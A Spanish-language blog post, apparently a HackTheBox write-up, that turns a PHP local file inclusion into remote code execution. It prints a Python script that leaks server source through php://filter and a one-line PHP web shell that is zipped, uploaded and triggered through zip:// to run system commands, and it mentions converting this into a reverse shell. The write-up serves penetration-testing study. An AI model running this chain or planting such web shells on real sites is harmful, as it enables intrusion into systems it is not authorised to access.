Power belongs to the people who take it

LFI a RCE – Abusando de los wrappers Filter y Zip con Python

En este post veremos como abusar de los wrappers php://filter y zip:// para conseguir RCE desde un LFI complicado de explotar con ayuda de python y burp-suite

Hay veces en las que el LFI se nos complica debido a una mejor programación de la pagina objetivo. Este ejemplo es de una maquina de HackTheBox al que me enfrenté hace unos días, no diré cual es esta maquina para evitar spoilers.

En este caso me encontré con un sitio que era vulnerable a LFI pero la inclusión se hacia mediante la función require_once de php y se agregaba la extensión .php al parámetro. Ademas no era vulnerable a la técnica que veíamos en el lfi-cheat-sheet de inyección de bytes null; esta era nuestro situación:

  • El archivo debia ser un php valido
  • No podia ver el contenido entre <? >
  • Cualquier cosa que pudiera incluir seria ejecutada

http://ejemplo.com/?op=home

Este portal tenia la función de recibir ‘tips’ o ‘notas’ de los usuarios.
La única solución que se me ocurrió fue abusar del wrapper filter para obtener los .php del servidor y sacar así mas información. Mediante el comando:

curl http://ejemplo.com/?oper=php://filter/convert.base64-encode/resource=upload

* Donde ‘upload’ era el nombre del php que usaba para las subidas de archivos.

Obteniamos en Base64 el script de php. Que en este caso podíamos delimitarlo con las cadenas ‘PD9’ y ‘<footer>’
Para agilizar el proceso de examinar todos los .php me hice un script de python usando expresiones regulares:
https://github.com/ironHackersDev/python-scripts/blob/master/phpAttack.py

#!/usr/bin/python
import requests
import base64
import re

def GetPHP(file):
	r = requests.get("http://ejemplo.com/?op=php://filter/convert.base64-encode/resource="+file)
	result = re.search('PD9(.*?)<footer>',r.text).group(1)
	b64 = "PD9" + result + "=="
	return base64.b64decode(b64)
	
while True:
	cmd = raw_input("> ")
	try:
		output = GetPHP(cmd)
		print output
	except:
		if cmd == "exit" :
			break
		print "ERROR"

En el archivo upload.php veiamos esto:

function genFilename() {
        return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}

if (!is_dir('uploads/' . $client_ip)) {
	mkdir('uploads/' . $client_ip, 0755, false);
	}
$tip = $_POST['tip'];
$secretname = genFilename();
file_put_contents("uploads/". $client_ip . '/' . $secretname,  $tip);

Básicamente lo que hace es crear un directorio con nuestra ip en /uploads y en el crea un fichero con un hash como nombre y con el texto arbitrario como contenido.
En el resto de php de la pagina no encontramos gran cosa, así que lo único que nos quedaba era intentar abusar de wrapper Zip tal y como veiamos en el lfi-cheat-sheet.
Ahora que sabíamos donde se iban a subir los archivos teníamos que crearnos nuestro script RCE y comprimirlo en un zip:

echo "<?php \$_GET['param1'](\$_GET['param2']); ?>" > shell.php
	zip -0 shell.zip shell.php

Mediante ‘paste from file’ de Burp-Suite conseguimos subir el archivo:

Una vez está subido solo nos queda abusar del wrapper zip:// y así conseguir RCE.

http://ejemplo.com/?op=zip://uploads/miIP/HASH%23shell&param1=system&param2=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Con esto podemos ejecutar comandos y convertirlo en una reverse shell fácilmente.

Referencias:

¿Me ayudas a compatirlo?

1 Comment

  1. GC Rocket

    Excellent web site. A lot of helpful info here. I am sending
    it to some buddies ans additionally sharing in delicious.
    And of course, thank you to your effort!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑